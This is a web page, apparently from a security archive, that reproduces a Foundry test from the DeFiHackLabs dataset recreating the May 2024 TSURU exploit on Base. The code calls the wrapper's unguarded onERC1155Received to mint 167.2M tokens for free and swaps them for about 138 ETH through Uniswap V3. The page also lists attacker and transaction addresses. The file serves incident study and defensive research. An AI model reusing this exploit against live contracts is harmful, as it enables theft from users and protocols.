Public reproduction file
src/test/2024-05/TSURU_exp.sol
Public reproduction file for dataset entry TSURU.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "./../interface.sol";6import "../basetest.sol";7// @KeyInfo - Total Lost : 140K8// Attacker :https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE3869// Attack Contract :https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c01710// Vulnerable Contract :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA11// Attack Tx :https://basescan.org/tx/0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f6213// @Info14// Vulnerable Contract Code :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA#code16// @Analysis17// Post-mortem : https://base.tsuru.wtf/usdtsuru-exploit-incident-report18// Twitter Guy : https://x.com/shoucccc/status/178894154892911041619// Hacking God : https://x.com/SlowMist_Team/status/178893692863483495821pragma solidity ^0.8.0;23interface IWrapper is IERC20 {24 function onERC1155Received(address, address from, uint256 id, uint256 amount, bytes calldata) external;25}27// Uniswap V3 Pool Interface28interface IUniswapV3Pool {29 function swap(30 address recipient,31 bool zeroForOne,32 int256 amountSpecified,33 uint160 sqrtPriceLimitX96,34 bytes calldata data35 ) external returns (int256 amount0, int256 amount1);37 function token0() external view returns (address);38 function token1() external view returns (address);39}41contract TsuruExploit is BaseTestWithBalanceLog {42 uint256 blocknumToForkFrom = 14_279_784;44 //Uniswapv3 constants45 uint160 internal constant MIN_SQRT_RATIO = 4_295_128_739;46 uint160 internal constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;47 address UNISWAP_V3_POOL = 0x913b1658dd001dFF93D3AF2A657523F1eed53917;49 //The vulernable contract50 address tsuruwrapper = 0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA;51 address weth = 0x4200000000000000000000000000000000000006;53 //Expected profits54 uint256 expectedTokens = 167_200_000 ether;55 uint256 expectedETH = 137.904209005799603676 ether;57 IWrapper wrapper = IWrapper(tsuruwrapper);59 function setUp() public {60 vm.createSelectFork("base", blocknumToForkFrom);61 fundingToken = weth;62 }64 function testExploit() public balanceLog {65 //First mint tokens with vulerable on onERC1155Received function66 wrapper.onERC1155Received(address(0), address(this), 0, 418, new bytes(0));67 assertEq(wrapper.balanceOf(address(this)), expectedTokens, "Not enough tokens");69 //Swap the tokens to ETH via UniV3 pool70 _v3Swap(tsuruwrapper, weth, expectedTokens, address(this));71 assertEq(getFundingBal(), expectedETH, "Not enough ETH");72 }74 function _v3Swap(address tokenIn, address tokenOut, uint256 amount, address destTo) internal {75 if (amount == 0) {76 return;77 }78 bool zeroForOne = tokenIn < tokenOut;79 uint160 sqrt = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;80 IUniswapV3Pool(UNISWAP_V3_POOL).swap(81 destTo, zeroForOne, int256(amount), sqrt, zeroForOne ? bytes("1") : bytes("")82 );83 }85 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {86 require(msg.sender == address(UNISWAP_V3_POOL), "Invalid caller");87 bool zeroForOne = data.length > 0;88 address tokenOut = zeroForOne89 ? IUniswapV3Pool(UNISWAP_V3_POOL).token0()90 : IUniswapV3Pool(UNISWAP_V3_POOL).token0() == weth ? tsuruwrapper : weth;92 uint256 amountOut = uint256(zeroForOne ? amount0Delta : amount1Delta);94 IERC20(tokenOut).transfer(msg.sender, amountOut);95 }96}Analysis
Dataset entry
Public Foundry test for “TSURU” (2024-05-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7a5eb99c993f4c075c222f9327abc7426cfae386
- Attack Contract
0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017
- Vulnerable Contract
0x75ac62ea5d058a7f88f0c3a5f8f73195277c93da
- Attack Tx
0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62
- Post: https://base.tsuru.wtf/usdtsuru-exploit-incident-report
- Twitter: https://x.com/shoucccc/status/1788941548929110416
- Explorer: https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE386
- Explorer: https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017
- Explorer: https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA
- Explorer: https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA#code
- Reference: https://x.com/SlowMist_Team/status/1788936928634834958
File record
- Name
- TSURU
- Path
- src/test/2024-05/TSURU_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b646661bedd777925800721238dbcf088d6a83e8
- Language
- Solidity
- Size
- 97 lines
- Date
- 2024-05-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/TSURU_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b646661bedd777925800721238dbcf088d6a83e8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.